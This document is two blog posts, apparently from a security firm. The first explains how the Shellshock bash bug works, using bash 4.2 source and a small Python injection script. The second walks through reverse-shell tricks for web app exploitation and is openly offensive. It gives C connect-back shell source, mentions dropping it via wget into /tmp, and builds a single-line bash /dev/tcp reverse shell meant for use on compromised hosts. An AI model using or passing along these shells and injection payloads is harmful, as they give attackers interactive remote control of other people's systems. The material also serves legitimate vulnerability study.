Shellshock without the Shellac

A post by our exploit-herder in residence, Jason Royes

The Problem

Have you heard about Shellshock? If not, you may be living under a rock. To summarize:

If an application sets an environment variable name or value to a value that is derived from user input and subsequently executes bash (and possibly other shells), an attacker may be able to execute arbitrary code.

But WHY

When I first read the post from Robert Graham, my first thought was: “when did we begin storing function definitions in environment variables?” I scanned through the section of the bash manual dedicated to environment variables and could not find anything on the topic.

I knew I was not alone after googling and finding this on Stack Overflow. Luckily, I had an old VM handy that I never update.

Here’s bash:

$ bash --version
GNU bash, version 4.2.24(1)-release (i686-pc-linux-gnu)

So, according to the stack overflow article, what’s actually going on is that bash stores exported functions in the environment.

$ f1
f1: command not found

Let us create a file that will define a function and export it:

$ cat f1.sh
#! /bin/bash

f1() {
echo "in f1"
}

export -f f1

Now to include it:

$ source f1.sh

Voila, f1 is now defined within the shell environment.

$ env|grep -A1 f1
f1=() {  echo "in f1"
}

If you’ve already read about the Shellshock attack, the value of f1 above should look familiar.

Bash 4.2 and Exported Functions

Bash 4.2 (vulnerable) processes environment variables in initialize_shell_variables (see variables.c). What happens when an environment variable has a value that begins with “() {“? A new buffer is allocated and the variable name is concatenated with the variable’s value. This basically creates a normal bash function declaration. The concatenated string is then evaluated with parse_and_execute:

temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

Imagine an exported function named f1 that has a value resembling “() { ls -l; }”. The code above combines the name and value into temp_string, resulting in “f1() { ls -l; }”. This string is then evaluated and a function definition is burnt in memory.

The vulnerability arises because user input is being evaluated directly with the same function used to evaluate all other bash commands. If commands are appended to the end of the function definition, ex. “() { ls -l; }; ps”, they are executed. This is because they fall outside the bounds of the function declaration and so are treated just like they would be in a regular bash script. Note that anything inside the function declaration should not be executed unless the function is invoked.

The construction of temp_string also means an attacker can inject through the environment variable name. For example:

$ ./ss-name.py
total 6868
drwxrwxr-x 12 user1 user1    4096 Feb 13 17:28 bash-4.2
-rw-rw-r--  1 user1 user1 7009201 Feb 13  2011 bash-4.2.tar.gz
-rw-rw-r--  1 user1 user1      52 Feb 13 16:19 f1.sh
-rw-rw-r--  1 user1 user1      49 Feb 13 16:47 f2.sh
-rwxrwxr-x  1 user1 user1     101 Feb 13 17:30 ss-name.py
-rwxrwxr-x  1 user1 user1      96 Feb 13 16:58 ss-test.py
Segmentation fault

Whoops! Bonus segfault. Here’s ss-name.py:

#! /usr/bin/python
import os

os.putenv('ls -l;a', '() { echo "in f2"; };')
os.system('bash -c f2')

Bash 4.3 and Exported Functions

The bash patch seems fairly concise. The patch now includes a check to make sure the variable name only contains legal characters (thwarting injection through name). There’s also a new flag called SEVAL_FUNCDEF. If parse_and_execute parses a command that is not a function definition and this flag is set, an error condition results.

This seems to correct the issue, however, relying on the function parsing code still feels dicey.

Perhaps there are other ways around these new defenses yet to be revealed.

Connect-Back Shell (Literally)

By: Cris Neckar

In the world of web app hacking undoubtedly the most annoying stage of exploitation is the purgatory between a working exploit and a working shell. It’s that place where your exploit works perfectly, you have gained the ability to execute commands, but you still don’t have a truly interactive shell. Anyone who does this type of thing with any regularity has developed a slew of tricks to get past this. The old standby is obviously netcat with the -e option, of course any administrator that leaves a copy of netcat with -e enabled lying around probably deserves to be hacked. To make things easier you probably have a chunk of code similar to the following that you wget into /tmp:

int main (int c, char **v) {
char *ex[4];
struct sockaddr_in s4;
int s;
s4.sin_family = AF_INET;
s4.sin_port = htons(v[2]);
s4.sin_addr.s_addr = inet_addr(v[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr_in *)&s4,sizeof(struct sockaddr_in));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
ex[0]="/bin/sh";
ex[1]="sh";
ex[2]=NULL;
execve(ex[0],&ex[1],NULL);
}

Thats all well and good until we run into a system with no compiler, no wget, or some similarly funky condition. This also necessitates at least a minimal web server to grab from. So the question becomes how can we implement a similar connect back shell with no overhead.

Fortunately the bash developers have come to the rescue. Those of you who do a lot of shell scripting may have heard of the /dev/tcp and /dev/udp bashisms. These aren’t actual devices but instead filenames which are handled internally in bash.

From bash 3.2:

redir.c:
static STRING_INT_ALIST _redir_special_filenames[] = {
...
{ "/dev/tcp/*/*", RF_DEVTCP },
{ "/dev/udp/*/*", RF_DEVUDP },
...
case RF_DEVTCP:
case RF_DEVUDP:
...
fd = netopen (filename);

netopen.c:
netopen (path) char *path; {
...
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path); <-- Opps, NULL ptr deref
s = np + 9;
t = strchr (s, '/');
...
*t++ = 0;
fd = _netopen (s, t, path[5]);
free (np);

This goes on to open a socket to the provided address and port making our format something like ‘/dev/tcp/hostname/port’.

So can this be used to implement a connect back shell? Lets break down the C code we have been using line by line.

First we open a file descriptor to a remote system on a given port. Great, thats exactly what /dev/tcp and /dev/udp do.

Next we copy that file descriptor to standard input, standard output and standard error. Fortunately bash has another useful built-in which can help us with this. The ‘exec’ command is generally used to replace the bash process with another (ie. sys_execve(), sounds interesting for later on). One of the other interesting things about ‘exec’ is that it also apply any redirects which are specified to the bash process itself. This means that we can effectively recreate dup2() using only bash built-ins by doing the following:

$ exec 0</dev/tcp/hostname/port # First we copy our connection over stdin

$ exec 1>&0 # Next we copy stdin to stdout

$ exec 2>&0 # And finally stdin to stderr

Now all we have left to do is execve() /bin/sh and ‘exec’ can also take care of that for us. So to bring this all together we get the following command:

$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

We have effectively recreated our connect back shell code using a single command, but more importantly this command uses only bash built-ins and will work in the most locked down environment without the need for file uploads or a writable directory.

There is one caveat to all this. The /dev/tcp and /dev/udp redirects must be enabled when bash is compiled. Most Linux distros enable this feature by default but at least Debian is known to disable it.